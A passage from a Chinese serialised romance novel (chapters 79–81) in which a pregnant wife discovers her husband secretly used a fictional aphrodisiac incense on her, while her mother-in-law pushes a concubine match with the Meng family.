“嫂——”刚落下最后一个字要顿笔,身侧的祝吟鸾猛然攥住她的手腕。 “小姑,你可以随我去我的院子里瞧瞧吗?” “瞧什么?”沈蔻玉被她吓了一跳,不明白祝吟鸾怎么突然一惊一乍,仿佛如临大敌的模样。 “就是,我的一些胭脂水粉,也是外域送的,总觉得不能用了,先前太医来过,我没叫他看,总觉得不好。” “原来是这样啊。”沈蔻玉松了一口气。 祝吟鸾滞了一下才缓缓放开沈蔻玉的手。 她此刻的心里无比的煎熬。 她这些时日真的不是在胡思乱想而是回顾回想到了之前的事情。 那会子是她跟沈景湛圆房之夜。 当时她在沐浴,觉得身上好热,脑子里总是不可控制想到一些亲密的画面。 想到沈景湛严丝合缝抱着她,想到跟她亲吻的滋味,想要跟他更深的进行交流。 还跟明芽要了茶水喝都没有办法把心里,身上的燥热给压制下去,甚至有越演越烈之势,口干舌燥起来。 当时她不知道沈景湛的真面目,现如今揭开了这一层面,难道就不蹊跷了吗? 那时候,她的难以克制,忍不住,脑中的春遐,真的跟沈景湛没有关系么? 没有记错的话,她问了明芽炉子里面烧的都是什么香? 明芽当时说就是正常的香,没有什么区别,她让明芽把窗扉给打开些,还用手扇了扇燥热。 她的嗅觉没有出错的话,那香真的要比往前的都要浓郁,可当时明芽觉得正常,所以她没有起疑。 往熏炉那地方看去的时候,还记得,她隔着屏风看到了一抹高大的身影。 是沈景湛,他出现在了熏炉的边沿。 如今他给她放安神香,那一会就没有在熏炉里给她放点别的什么东西吗? 再然后,她不想要泡下去了,说要起来,明芽给她擦香露,香味简直异常,当时她让明芽不擦了,沐浴之前已经擦过一次了,明芽却说她没有仔细看,这是不一样的。 说那香露是沈景湛身边人拿给姣惠的,还说是宫内妃子们才有的贡品,是沈景湛用功劳跟圣上给她换的赏赐,除却香露,还有熏香 这些东西正常吗? 会有古怪吗? 她心里的预感越来越强烈。 因为她的自制力也不算低,即便是面对沈景湛,一开始她跟他成亲,但是她也没有动过什么歪心思。 可在那一天,成功圆房的夜晚,两人一道躺入床榻当中,她的心里却生出了无比的渴求。 她希望沈景湛亲她,甚至还盼着来听墙角的老妈妈们都在,想要以此为借口跟沈景湛亲近。 没有料到沈景湛居然抢在了前面,只是叫了她一声鸾儿而已,她的心尖就忍不住颤粟了,听到沈景湛的下文说听墙角的老妈妈们过来了,她的心中忍不住雀跃。 这其中难道没有鬼么? 沈景湛清白吗,他没有在其中动什么手脚吗? 如果没有得知奉安公主说的那些话,祝吟鸾或许会相信,现如今她说什么都不会再相信了。 一定有问题,“” “嫂嫂,你走慢一些。”沈蔻玉跟在她的后面,一道去庭院。 直觉告诉沈蔻玉,一定是出什么事情了。 若没有出事,祝吟鸾为何这么着急,不像是带着她去看胭脂水粉,像是去看“杀人凶器”一般。 “嫂嫂。”沈蔻玉又叫了一声。 祝吟鸾还是没有听见一般,沈蔻玉只能够跟在她的后面。仔细帮着祝吟鸾看着她的脚下,害怕她不小心摔了。 总算是到庭院了。 沈蔻玉都忍不住喘气,只见祝吟鸾的脸色微微苍白,她目光定定看着里面。 姣惠原本正在看着小丫鬟们清扫青石台阶,见到祝吟鸾带着沈蔻玉走进来,连忙跟在后面。 刚要问是怎么了?明芽怎么不在身边跟着伺候。 就听到祝吟鸾让她出去的声音。 姣惠做出惶恐不解的样子,“小姐,您这是怎么了?” 祝吟鸾深呼吸一口气,都说不上来是不是不敢去面对,她勉强压下心里的郁,跟姣惠说,“我要跟小姑说姑娘家的私房话,没有传唤,你们都不要进来。” “是。”姣惠带着旁边伺候的小丫鬟下去。 沈蔻玉见她把人支开了,然后去妆奁台翻翻找找。 明明胭脂水粉都在台子上面,可是祝吟鸾还是在找。 “嫂嫂。”在祝吟鸾翻找的期间,沈蔻玉已经帮她看了台子上的胭脂水粉,“这些都是可以用的,没什么。” 在来的路上沈蔻玉就觉得没什么事情,祝吟鸾这一胎,沈家的人可是无比看重,往日里她吃的穿的用的全都由专门的人看顾,哪里会有什么? 胭脂水粉这些东西,她的母亲一定更加叫人留心了。 “不是不是这些。”祝吟鸾摇头。 她让沈蔻玉等一会,往外叫姣惠,叫她快去把明芽给叫来。 明芽适才被她支走了,去抓药方子。 没等一会,明芽就来了。 “小姐,药方子还没有抓好。” 此时此刻的祝吟鸾哪里顾得上什么药方子,她问明芽,“我之前怀孕之前所用的香露,熏香,你都放在什么地方?” “有一些已经用完了,奴婢都丢掉了。” 听到丢掉两个字,祝吟鸾心里一咯噔,“全都丢掉了?” “有一些丢了,有一些奴婢还留着呢。” 祝吟鸾往日里都不怎么用胭脂水粉,所以用得不快。 “留下了哪些?”她实在是没有耐性了,又更直接了一些问,“是不是之前夫君给我的香露香料?” 听到祝吟鸾这么一问,在门口伺候的姣惠心中暗觉不妙,想到这些时日祝吟鸾的疏远还有反常,觉得她恐怕有可能是知道了。 不仅仅是知道了一切,还有可能知道了更多。 大人派去查奉安公主面首的事情还没有回信,少夫人居然已经查到了香露和香料? 明芽一愣,“小姐您怎么知道?” “这些用了大半,原本姣惠当时还说这些东西放久了不好,毕竟是打开过的东西,待您生完孩子,世子爷定然给您买最好的,让丢掉的,可是奴婢觉得” 明芽挠挠头,“到底是赏赐的贡品,这才收了起来。” 听到丢掉两个字,祝吟鸾的眼神朝外看去,准确落到了姣惠的身上。 姣惠在这一刻,竟然无法做到无愧于心跟她对视着。 因为祝吟鸾的目光实在是很犀利,重要的是,往日里祝吟鸾对她真的很不错,非常用心的。 所以姣惠下意识躲闪了。 “” 沈蔻玉看出了不对劲的苗头。 却也说不上来是什么问题,难不成是小丫鬟不好么? 可这是祝吟鸾陪嫁过来的小丫鬟啊,往日里还是很老实的,莫不是见了侯府的荣华富贵,若是就变得贪婪起来了吗? 想要偷她嫂嫂的胭脂水粉去卖?否则她也不会提议丢掉了吧? 这些小丫鬟之间的弯弯绕绕,沈蔻玉多多少少还是知道些的,就是眼馋,然后阳奉阴违偷主子的东西去卖嘛。 祝吟鸾如今的吃穿用度可都是数不胜数的名贵,小丫鬟要偷,瞧着不敢,所以才在她用过的东西上面动手脚了。 即便是用过的胭脂水粉,可到底也是贡品,拿出去倒卖,必然有好价,若是祝吟鸾所剩得多,换一个小一些的罐子,重新包装成为 新的,也是能够大捞一笔。 就算是这样,也不值得生气吧?到底是用过的东西了?给了下人也无妨。 祝吟鸾往日里并不是小气的人,料想不会如此,可她如此生气,一时之间沈蔻玉也找不到别的理由。 “去找出来,他给我的所有东西全都找出来。” 所有东西? 明芽不解,问了一句是不是香露和香料,还是再要找些什么别的? 祝吟鸾也是气昏头了,她收回视线,“先找香露和熏香。” 明芽很快就从内室给翻出来了。 看到熟悉的罐子,祝吟鸾还闻了一下,她叫沈蔻玉过来看。 沈蔻玉端着闻了一下,眉头微蹙,又接着闻。 期间,祝吟鸾一直看着她。 好一会,沈蔻玉放下香露,说这些不宜在孕中使用,因为里面有一味名为舒芳华的香料,能使肌肤生香不生汗渍,但有活血化瘀的隐效。 “除此之外就没有了吗?”祝吟鸾问。 沈蔻玉看着祝吟鸾,“嗯” 察觉到对方的欲言又止,她催促问还有什么? “只是在使用这香露的时候,房中不能用龙船子,否则就会身动情.热。” “香料有问题吗?”祝吟鸾问。 沈蔻玉使劲闻了好几下,“没有,这香料没有什么问题,都是上好的外域使用的贡品香。” 甚至还是寸香寸金的,她和母亲都没有。 哥哥对嫂嫂还真是舍得,朝廷给的赏赐,他就给她换这些女儿家的东西。 祝吟鸾看向熏香炉,此刻还在焚烧着,她让明芽,把熏香炉子里面的东西都倒出来,倒个底朝天,让沈蔻玉仔细帮她检查一下。 沈蔻玉不解,但祝吟鸾说的事情,她都照做了。 都已经过去了许久,或许那香料,沈蔻玉查不出来了。 原本,祝吟鸾心里已经不抱希望了,想着沈蔻玉翻闻了好一会,她想着要是没察觉,从别的地方下手。 但是她没想到沈蔻玉的鼻子竟然灵到了如此地步,她找了一会。 摸着熏炉壁沿,抬头问, “嫂嫂,你、你和哥哥焚过龙船子吗?” 第80章 第80章您是要孟小姐给夫君做小房吗…… 这句话问出来,沈蔻玉也有些许的尴尬,毕竟在她看来,这已经是属于闺房.乐.趣了吧? 即便都是一家子,可这到底是兄长嫂嫂的闺房事。 她做小姑的,当着众人面说出这样的话,自然是面皮子薄得红了起来,还要忍不住轻咳一声掩饰尴尬,继续扒着没有燃烧完全的香料。 旁边的小丫鬟给沈蔻玉换了一个扒香料灰烬的细长勺。 祝吟鸾一愣,暂时没有接过话,就在脑中分辨沈蔻玉所说的话。 倘若她没有记错,沈蔻玉说沈景湛给她的香露当中有一味药加做舒芳华,单用了没什么,只是在用的时候,不能够燃烧龙船子,否则就会情动身热。 此刻,沈蔻玉又在这熏香炉子当中发觉了龙船子焚烧过的佐证。 所以,当初沈景湛的确是动手脚了吧。祝吟鸾的心怦怦跳得厉害,沈景湛居然算计到了圆房。 新婚之夜,不,是过了几日,两人的圆房之夜,她不是错觉,沈景湛的确往熏香炉子里面添了东西。 配合着香露的使用,所以她才会变成那个样子,才会想要跟他求.欢,原来完全不是因为他的身姿出众,她心动了。 都是因为这个香,然后她就钻到了沈景湛设下的圈套当中,成为了他的猎物,被他吃干抹净了。 “你确定吗?”即便是心中确信,祝吟鸾又问了一遍。 她还是觉得太迷幻了。 沈景湛费尽心机,处心积虑,每一步都无法逃脱他的算计。 沈蔻玉已经彻底检查完毕,她把手里的细长勺子递给旁边的小丫鬟,“我十分确信!” “我的嗅觉不会出错的。” “可这香——” 祝吟鸾刚想要说,这香已经是几个月之前焚烧的了,每日都有人清洗熏炉,添加新的香料,怎么还会查找得出来? 她的话还没说完,就已经被沈蔻玉给拦截打断了,“嫂嫂恐怕不知道龙船子价值昂贵,比起寻常的依兰花,合欢醉,都要难寻,它的味道清幽难寻,只要沾上一点点,那怕是用力清洗了,味道也会经久不散。” “更不要提,被人放到熏香炉里燃烧,所以即便是过去了几个月,这壁沿还是残留了龙船子的味道。” 祝吟鸾再也没有话可以说了,“” 沈蔻玉见她失魂落魄,不清楚是怎么了。 难不成这龙船子的燃烧她不知道么? 还是哥哥被旁人给算计了? “原来是这样啊。”祝吟鸾喃喃低语道,“我早就应该想到的。” 什么早就应该想到,什么原来是这样? “嫂嫂,你在说什么?莫不是这龙船子有什么不对吗?”还是她说错话了? 看着祝吟鸾失魂落魄的脸色,沈蔻玉都忍不住担忧起来。 可祝吟鸾失魂落魄好一会,她又自嘲笑出声音。 “嫂嫂你——”沈蔻玉不明所以,使眼神让小丫鬟快把地上的熏炉给收拾处理了。 外面老妈妈过来传话,说是八宝甜酪和糕粥已经做好了,已经送到了那边的院子。 知道两人在这边,问是要在哪边用? 若是在这边用,那沈夫人带着人送过来。 “嫂嫂,你想在哪边吃?”沈蔻玉声音都不自觉放轻。 她是一句话都不敢说了,到现在沈蔻玉虽然弄不清楚究竟是发生了什么事情,但她渐渐回过味,她很有可能说错话,惹事情了。 祝吟鸾不说话,沈蔻玉自作主张,说过去那边用小食,就怕祝吟鸾继续留在这里,继续看着这里的东西失魂落魄。 沈蔻玉见祝吟鸾不动,直接上手推了祝吟鸾,挽着她的手,带着她往外走。 走了几步至于门口,祝吟鸾的脚步忽而停了下来,她的余光扫过姣惠,往后看去,吩咐明芽,“把这些香露好生收起来,不得有失。” 说到后面一句话,祝吟鸾的视线轻飘飘扫过姣惠,然后才往外走。 沈蔻玉站在她的身侧,瞧着祝吟鸾的侧脸,恍惚之间,就好像看见了她的兄长。 怎么觉得两人无形当中相似了起来。 哥哥最喜欢这样瞧人了。 嫂嫂之前有这样过么? 沈蔻玉此时此刻却顾不得多想,连忙跟上。 在过来的路上,祝吟鸾很快就收拾好了心绪,看着一切如常。 沈夫人身边的老妈妈过去那边传话的时候,那边的事情已经结束了,所以根本就不知道那边究竟发生了什么。 加上这些时日,祝吟鸾的情况一直很不稳定,所以没有在意,只以为是沈蔻玉打翻了熏炉,小丫鬟们在收拾。 用糕粥的时候,祝吟鸾也很正常——看起来很正常,沈蔻玉跟她说话,她也做了回应,沈蔻玉稍微放了放心,说是放心,却也不能够彻底放下心。 因为香露和熏炉的事情,沈蔻玉并不清楚。 祝吟鸾没吃多少,她还是有些走神,茶水不小心弄湿了袖摆,起身去 屏风后面处理。 祝吟鸾走后,沈夫人问沈蔻玉,适才她不在的时候,可曾从祝吟鸾的口中套出什么话?问问她这是怎么了? 沈蔻玉顿了一下摇头说没有。 沈夫人不信,“若是没有,她怎么还郁郁寡欢的?”明显能够看得出来,祝吟鸾这些时日跟前三月相比,性格都变了。 变得沉默,变得郁郁寡欢。 若说之前的急气攻心是因为那两家背后的贵女议论纷纷,话说得很难听,可当时发觉此事的奉安公主不是已经将人给赶走了。 后来,说她的这两家人,在沈景湛肃查案子的时候,找了不少麻烦,如今正焦头烂额呢。 有这样一位强劲的夫君为之出头,侯夫人自己都羡慕了,不知道她还在愁苦什么,都过去多久了,还是闷闷不语。 说到闷和倔强,跟祝氏相与的这些时日,沈夫人发现,她的确是很能忍,很少同人吐露她的心事,不管旁人怎么问,她都不会说,就连蛛丝马迹都难以探寻她的心路。 “嫂嫂真的没有同我说什么,我也没有从她嘴里套出什么话来。” “许是因为闷了?”沈蔻玉让沈夫人若是有空,可以带着她出去转转,因为沈蔻玉很清楚,现如今祝吟鸾在沈家,沈夫人和沈景湛都不让她随意出院子。 而往日里,祝吟鸾又比较安静,但人的性子也不是生来就安静的,如果不是祝家苛待,想必她也是明媚灵动的性子吧。 她都难以想象,一整日闷在院子里,岂不是憋坏了?哥哥又那么忙,没有多少时日陪伴嫂嫂,她一个人在沈家难免害怕。 沈蔻玉也是嫁出去之后,才渐渐体会祝吟鸾。 毕竟赵府也成为了她的家,赵家对于她而言,还是太过于陌生了。 她贵为侯府的嫡女,父兄都是朝中的重要人物,即便两家没有世交,赵家的人更不可能慢待她。 祝吟鸾就不一定了,她孤身一个人,家中没有什么依仗,即便是有施家,可她也不会麻烦到对面去。 所以,她一个人在后宅,也算是无依无靠的。 “她如今心绪不稳,哪里敢带着她出去?更何况你哥哥不许。”沈夫人越发低声,问她是不是忘记了,沈景湛往日吩咐了,不要让祝吟鸾出院子。 “如今奉安公主已经回了,母亲多带着嫂嫂转一转,这不是挺好的吗?”言及此,沈蔻玉又忍不住为奉安公主正名,说她其实很好,并没有外面说的那么不堪。 沈夫人敷衍着点头说是,奉安公主很好。 “母亲,且不论奉安公主,女儿跟您说的话,你记得就是了,多带着嫂嫂去转一转,解解闷,说不定她的心绪就好起来了呢。” 沈蔻玉觉得祝吟鸾是闷坏了。 “好好好,你母亲记住了。”沈夫人道。 “对了。”沈蔻玉想起来一件事情,“我听人说,母亲你近来跟孟家的人走得近?” 沈夫人反问,“你听谁说的?” “母亲不要管女儿听谁说的,您就说是不是吧?” 沈夫人:“问到这里,是不是还听到了什么风声?” 沈蔻玉没有点头,接着问,“您该不会真的想让孟家的人进门吧?” 对方是自己的亲生女儿,沈夫人便没有隐瞒,“的确是有这个意思。” 沈蔻玉连忙劝道,“母亲您最好还是打消这个念头,哥哥绝不会同意的。” 因为沈景湛对祝吟鸾有执念,更何况,她也能够看得出来,祝吟鸾喜欢沈景湛,若是横入一个孟家的孟云,中间不知道要出多少岔子。 “哥哥是不可能纳小房的,您弄这些就是白费力气。” “你怎么就只泼你母亲的凉水,不为咱们家长房的子嗣想想?你哥哥作为世子,将来是要承袭爵位的,那他的子嗣自然是越多越好了。” 祝吟鸾还没有出来,沈夫人压低声音,“你想想祝氏的身子骨,如今怀一胎都如此凶险,过了头三月还反复折腾地害喜,我真是害怕啊” 沈夫人还以为两人的对话没有人听见,却不想被那边的祝吟鸾听了一个完全,她之所以还没有出来,就是一直在接着听。 “母亲!”沈蔻玉皱眉啧声,“咱们长房的血脉还不够多么?父亲膝下又不只是哥哥这么一个儿子,那些姨娘生的,谁不是家里的人?” “咱们长房已经足够枝繁叶茂的了,您何必一直要盯着哥哥膝下?” 沈夫人却还是执着于自己的想法,“你哥哥出色啊,旁的怎么比得了?更何况,祝氏这一胎若是生的是一个女儿,将来怎么承袭爵位?岂非要拱手让人了?” 沈夫人看着眼下沈景湛疼惜祝吟鸾的劲头,只怕祝吟鸾生完这个,就不会再让她生了,自然是要防患于未然。 更何况,祝吟鸾的出身还是不够好,将来这个她的孩子承袭了爵位,母族不够强盛,这可怎么办?长房的子嗣多,侯爵的位置谁不虎视眈眈啊? 长房其余的庶子们也都很出色,要不是沈景湛足够厉害,根本就弹压不了。 “母亲,女子何苦为难女子啊?”沈蔻玉真是受不了她说的什么女儿就不能承袭爵位,但也知道就此跟沈夫人反驳,她听不进去。 干脆就用她自己来举例子,“母亲您看看那赵谨白,他身子骨弱成那个样子,若真是为了子嗣,赵家人多给他纳妾室通房,您觉得成不成?” “你可不要胡说八道,你这门姻缘是不能这样说的,那赵家的身子弱,你这属于是吃亏,你的事情怎么能够跟你哥哥的混为一谈?” “怎么就不能了?”沈蔻玉让她自己设身处地想想,“父亲纳姨娘您每次都很不开心,做什么要给哥哥收小房?难不成您嫉妒嫂嫂得哥哥专宠?” 沈夫人,“”真是生气,偏生又是自己的女儿,打不得骂不得,还得压低了声音,忍下这口气。 “您不想要赵家的纳小房,不就是疼惜女儿么?嫂嫂是儿媳妇,跟女儿不一样,所以您才主张给哥哥收小房。” “你本来就是我的女儿,我多为你盘算盘算怎么了?”沈夫人没好气戳了戳她的额头。 “哎呀母亲,我知道您是为我好,但嫂嫂为人也很不错的,她虽然出身小家,但做事待人丝毫不缺大家风范,女儿嫁出去了,您就把她当成您的女儿一样宠着就是了,您宠着嫂嫂,哥哥也会开心的。” 沈蔻玉又跟沈夫人细数了一下祝吟鸾的长处,让她多念念祝吟鸾的好处。 “好了好了,说什么你都是有理的。”沈夫人摆摆手,不愿意再继续这个茬。 沈蔻玉倒是想要接着开口,但祝吟鸾出来了。 “嫂嫂!”她连忙迎上去,说祝吟鸾若是再不出来,这糕粥可就快要被她给吃尽了。 “我不太喜欢吃甜腻的,小姑只管多吃些。”祝吟鸾对着沈蔻玉抿唇笑。 “那我就要多谢嫂嫂了,嫂嫂你爱吃什么就吩咐小厨房多做些什么,你有了身子骨,可不能亏了自己。” “嗯。”祝吟鸾点头,把八宝甜酪挪到了沈蔻玉的面前。 沈夫人让她慢点吃,“若是不够,为娘再去给你做就是了。” “” 用了晚膳之后,沈蔻玉就要走了。 沈夫人抹着眼泪,将人给送到门口。 沈景湛真的很忙,祝吟鸾今夜沐浴之后,她还是没有回来。 原本她想着,既然姣惠那边已经得到了消息,定然会把信透到沈景湛的耳朵里。 却没有想到,沈景湛还是没有回来 或许真的是朝政太忙了。 祝吟鸾有意等了一会,想要等着沈景湛回来跟他摊牌,可沈景湛还是没有回来,即便是没有燃安神香,她也有些困倦了便径直睡了过去。 沈景湛的确是得到了消息,但被朝廷的事情绊住了脚跟,因为朝廷太尉一.党,有人死了,消息从沈家传过来的时候,他还在刑部大牢里看着仵作验尸。 他先问了祝吟鸾如何? “少夫人看起来心绪还好,只是她今夜等着您,恐怕是 要跟您”摊牌。 沈景湛淡嗯一声,看着仵作划开尸体。 “派出去查奉安的人可有回信了?”沈景湛接着问。 侍卫道,“属下正要跟您说这件事情,已经回来了。” 沈景湛没有详细问,只是挪了视线,看着对方。 他的侍卫颔首。 意料之中的结果,沈景湛挥手,“这些时日朝廷忙碌,加派人手,多多看顾她。” “是。”下属道不会出现任何的错漏。 “嗯。”沈景湛淡声。 接下来的几日,祝吟鸾也没有见到沈景湛。 夜里甚至都没有回来了。 因为她听明芽说,他没回府上。 不仅仅是没有回府上,往日里也没有如常给她送糕点之类的了。 倒是派了人传话,让她好生休息。 祝吟鸾也可以让人给他传话,但是这件事情涉及了私隐,她还是想着当面跟沈景湛说比较好。 因此,并没有过多催促,就是一直等着他回来。 她不相信沈景湛不会回来,只不过是时日的问题。 沈老太太的病还是没有好,如今到了秋日,就快临冬了,身子骨越发懒怠,额发也白了不少。 她经常见祝吟鸾,叫她过去陪着说话。 沈老太太很细心,问她是不是跟沈景湛之间出了什么问题? 祝吟鸾知道沈夫人和沈老太太都是人精,恐怕瞒不过两人,若是说没事,必然不信。 所以,她找了一个借口,“前些时日夫君说小姑出嫁以后,他便能得空歇歇,带我去游湖,可如今却是越发忙碌,人也见不到了,所以” 祝吟鸾垂着小脸,沈老太太看不清楚她的眼底情绪。 看了祝吟鸾一会,倒是相信了她说的话。 “姚家的事情复杂,朝廷可用的人不多,我听你公爹说,陛下此次有意彻底清洗朝廷格局,听澜监管御史台,所以他忙碌不堪。” “你嫁进来还不到半年,聚少离多,也难怪你心里不爽快,放心吧,听澜心里有你,他只怕比你惦记着他那般,还要惦记你呢。” 祝吟鸾面上抿出一抹笑,“祖母说得是,都是孙媳不懂事了。” “你跟玉儿一般大,年岁也算小,却比她懂事不少。”祝吟鸾在她跟前伺候汤药,尽心又尽力,比家里大多数人都要尽心,沈老太也越发喜欢她。 这会子说着话,让旁边的老妈妈给祝吟鸾拿了一副头面。 祝吟鸾一看那头面的料子,居然还是上好的翡翠,连忙说贵重不敢收。 “你年轻,要多收拾收拾,收下吧。”沈老太太示意老妈妈递给祝吟鸾身边的小丫鬟,没有再给她拒绝的机会。 如此,祝吟鸾也只能道谢了。 从沈老太太那边用了午膳出来。 撞到了沈夫人身边的老妈妈,说是正要找她呢。 祝吟鸾问什么事? “夫人带您出门去看戏。” “出门去看戏?”是因为那日沈蔻玉说的话吗? “我如今身上有了,婆母疼惜,不叫我管家理事,过几日就是放月钱的日子,婆母手头上忙碌,这看戏只怕是不去了吧?” “戏院子那边是已经约好的了,少夫人您还是去吧,今儿不只是有夫人呢,还有别家的,帖子早就递过去了,您要是不去,夫人岂不是自己一个人了?” 别家的?祝吟鸾刚想问是哪家的。 老妈妈却催促着说耽误时辰,让她快去。 祝吟鸾只好跟着过去。 她跟沈夫人一辆马车,沈夫人如常一般问她话,祝吟鸾老老实实回着。 问着问着,沈夫人也跟沈老太太一样,问她和沈景湛之间是不是出什么事了。 祝吟鸾还是那番措辞来应付。 沈夫人听了也没有起疑,瞧了她好一会,祝吟鸾由着沈夫人打量。 说是去什么戏班子,其实就是到孟家。 祝吟鸾看着孟家的匾额,心里觉得今日沈夫人带着她出门,恐怕不只是来看戏。 孟夫人对于两人的到来十分欢迎,早早就准备了,还亲自带着人到门口迎接。 沈家虽然势大,孟家低了一筹,却也低不到什么地方去,可孟夫人却很讨好沈夫人。 孟云小姐穿了一身鹅黄色的衣裙,头发挽了流云发髻,站在孟夫人旁边,整个人看起来无比温婉乖巧。 先是跟沈夫人见了礼,又朝着祝吟鸾问安。 戏班子不是之前祝吟鸾看的那家,却也演得很好,她心中郁闷,看着看着不知不觉入迷了。 期间沈夫人看了她好多次,她都没有发觉。 孟夫人跟沈夫人说话,“世子少夫人的身子似乎不怎么显怀,这都快四个月了吧?” “她瘦,往日里又不怎么吃,所以才这样。”沈夫人应声,“可能要月份再大些,才会显出来。” 言及此,孟云把剥了云壳的糕点递过去,“少夫人,这酥云脆,味道很好,您尝尝?” 祝吟鸾侧身看过来,“多谢孟小姐。” “少夫人客气了,您接着看戏。” 沈夫人瞧着两人的互动没说话。 “” 晚膳自然是留在孟家吃的,孟家明显是费了心思的,上至饭菜,下至糕点,无一不精细。 祝吟鸾今儿看了戏,心情舒朗了不少,晚膳也用得比较多。 饭后,没有停留太久,沈夫人带着祝吟鸾离开。 在回去的路上,婆媳两人说着话,起初都还好,只是说着说着,沈夫人问她觉得孟家的人如何? 祝吟鸾眼睫一动,“不错。” “怎么个不错法?” “孟夫人和善,孟小姐温婉。”祝吟鸾更具体了一些。 沈夫人接话道,“孟云这个姑娘的确不错,满京城的贵女啊,我看着她算是顶个拔尖的,不仅仅是样貌,她的才学” 噼里啪啦说了一大堆,沈夫人停下来喝茶。 祝吟鸾攥紧手里的暖炉,抿唇问, “婆母,您是想要孟小姐给夫君做小房吗?”【你现在阅读的是 】 80-90 第81章 第81章他总算归家了。 祝吟鸾太过于直接,沈夫人直接被她给问住了。 一时之间反而沉默了下来。 她原以为还要再费一些功夫,才能够引出这个话茬,却没有想到祝吟鸾居然说出来了。 毫无征兆,猝不及防。 眼前所见,祝吟鸾一脸认真看着她,神情眼底似乎没有丝毫的嫉妒。 或许有吧?毕竟沈蔻玉都说了祝吟鸾对沈景湛也是喜爱的。 既然喜爱的话,那必定也是在意的了。 但凡女子,总要大度些许,这给夫君纳小房收妾室,为家族开枝散叶,也是作为主母的职责之一。 祝吟鸾识大体,或许她真的吃味在意了,但看不出来。 这能装是好事,今日在孟家,她就做得很好。 沈夫人回了回神,放下手里的茶盏。 “你察觉到了?”她斟酌着话。 祝吟鸾点头,没有接话。 沈夫人头一次觉得尴尬,但好在眼下就两人,祝吟鸾的那些贴身小丫鬟都不在,跟她说话,不会叫那些人听见,也就没有那么担心会传入沈景湛的耳朵里。 对于自己亲生的儿子,沈夫人还是深谙他本性的,若是想要从他那边下手收小房,只怕雷打不动,说不定还会被他给顶嘴顶回来。 走祝吟鸾的路子,先说服了祝吟鸾,让祝吟鸾去说服沈景湛,这是最好的办法。 “婆母也知道,在这个关口提纳小房的事情,必然让你心中不痛快,但这也是没有办法的事情。” 沈夫人的语气放得越发软,第一次亲切叫她,“吟鸾,你就当是婆母对不住你吧。” “有些话说出来不中听,但我知道你是个明事理识大体的姑娘,不会计较,我今日就跟你论一论,也当是宽慰你的心思吧,但你不要往心里去。” 祝吟鸾看着沈夫人,也是静静点头,没做声。 见她动作,沈夫人心里 松了一口气,跟她道,“如今听澜在朝廷当中的局势,你也见了,可谓是如履薄冰,纵然是有沈家,你公爹帮衬着,但总有护不上力的时候,若是一点点行差踏错,那便是万劫不复了。” “世家大族联姻,不讲究势均力敌,到底也要门当户对,你这人的脾性能力,自然是好,但出身着实太差了一些。” 简而言之,就是没有办法帮上沈景湛的仕途。 “当然了,你婆母我也不是挑你的刺,你进门也有几个月了,你看看,家里的人对你如何?” 祝吟鸾又是点头,这一次她说话了,声音一如既往的绵和柔软,“家中人都待我很好。” 说实话,沈家这样的大家士族,能够接善待她,已经是相当相当不错的了。 卫家的门第比不上沈家,卫家总是嫌弃憎恶她,她在沈家的日子要比在卫家舒坦千千万万倍,两者完全是不可相提并论的了。 “婆母宽厚,祖母慈和,公爹和蔼,小姑更是没得说。”沈蔻玉心怀大义,她从来没有因为她的出身看不上她,甚至还帮着她说话,让沈夫人不要纳小房,把她当女儿一般疼惜。 “你自己都说了我们沈家人对你不错的,是吧。” 祝吟鸾又是点头,心头浮上淡淡的苦涩。 沈夫人接着道,“我也知道出身的事情并非是你能够决定的,无非是当初没投好胎罢了。” 她叹一口气,继续苦口婆心,“吟鸾,婆母知道听澜十分喜爱你,看重你,当初为了迎娶你,你或许不知道,他几乎是将家里搅得天翻地覆,我和你公爹,还有你祖母,无一不是” 言及此,沈夫人重重叹出一口气。 就连沈老太太装病,他都不曾理会,说话也还是那样,她这个做母亲的更是管不了。 所有人都说沈景湛喜爱,看重她。 这是真的吗? 祝吟鸾沉默,她的思绪被这两句话给攥住捏紧了,缠绕在上面,她已经分不清楚到底是不是这样,过往发觉的事情正萦绕着她,久久让她的心绪难以开朗。 沈夫人不知道她在想些什么,依然在接着说。 把话挑明了,其实也就是那样,她的出身不够高,无法给到沈景湛助力,若是将来沈景湛出事,她也只能够干着急,转而又道这孟家的文官清流。 在官场之上,能够或多或少给沈景湛一定的助益。 还说是她仔细挑选的人,孟云性子恬静,不吵不闹,也不会争宠,将来放在房里也能够省心不少。 “你如今怀胎近四月,一定是生在她前面的,为了弥补你,将来你的孩子,若是个男儿,我会让你公爹做主,顺延爵位,叫听澜承袭给她,这件事情我会请家中亲戚族□□同见证,如此你可放心了?” 祝吟鸾没有说话,这一次也没有点头。 她在想,沈景湛当初跟她说,若是纳小房,就让他罢官削爵的事情,沈夫人究竟知不知道? 应当是不知道吧? “孟家的人若是进门,将来不仅仅是帮衬听澜,对于你的子嗣,也是一种助益,你算是个苦出身的姑娘,一定清楚在苦楚里挣扎的痛苦吧?难不成,将来你也想要你的儿子女儿过这样的日子么?” 劝人必然要劝到心坎上,所以沈夫人开始对着祝吟鸾说,这门亲事若是成了,于她有些个什么好处。 “我也明白你的顾虑,你且放心,有我和你公爹在一日,绝对不会让孟家的人凌驾在你的头上。” “你觉得如何?”快要到沈家了,沈夫人也就收了声音。 无论好坏,沈夫人都说了,祝吟鸾还能够说些什么,她颔首表示,“媳妇知道了。” 虽然没有直接言明,但是有这句话,沈夫人也安心不少。 今日,沈景湛还是没有回来,但是他让人送了绸缎和糕点回来。 绸缎是贡品的料子,放眼整个京城,宫内都没有几匹,他的下属说是沈景湛用功劳换的赏赐,让她交给小丫鬟裁衣衫穿,至于糕点都是御膳房新出来的,让她尝鲜。 姣惠这些时日都不敢往祝吟鸾身边凑,就在院子里做着粗活,沈景湛让她看着祝吟鸾,她不能离开。 祝吟鸾这些时日十分安静,也不曾叫她过去问话,的确是有些叫人忐忑。 今日她透过窗桕,观察着祝吟鸾的反应。 她静静看着美轮美奂的绸缎,伸手抚了抚,除此之外,又定定瞧着糕点出神。 就当旁边人都以为她不会吃的时候,她拿起糕点尝了一块,吃得缓慢安静。 沈景湛的下属说,“大人近来事情忙碌,朝政上面的事情,卑职也不敢多言,待他回来会跟您解释的。” 解释什么? 解释这些时日的忙碌,还是解释他偷偷摸摸做的那些事情? “您如今身子金贵,一定要好生休养,万万不能动气。” “大人还让卑职转达,他很记挂您。” 闻言,祝吟鸾的手微微顿了一下,“” 许是害怕祝吟鸾偷偷离开,这些时日,庭院增派了许多人手,不仅仅是留意着祝吟鸾,就连庭院里面的下人也都留意着。 这些派过来的人都是大内的高手。 且每日祝吟鸾出门去,见了什么人,说了什么话,都要回禀给沈景湛,一字一句都不能够出现丝毫的错漏。 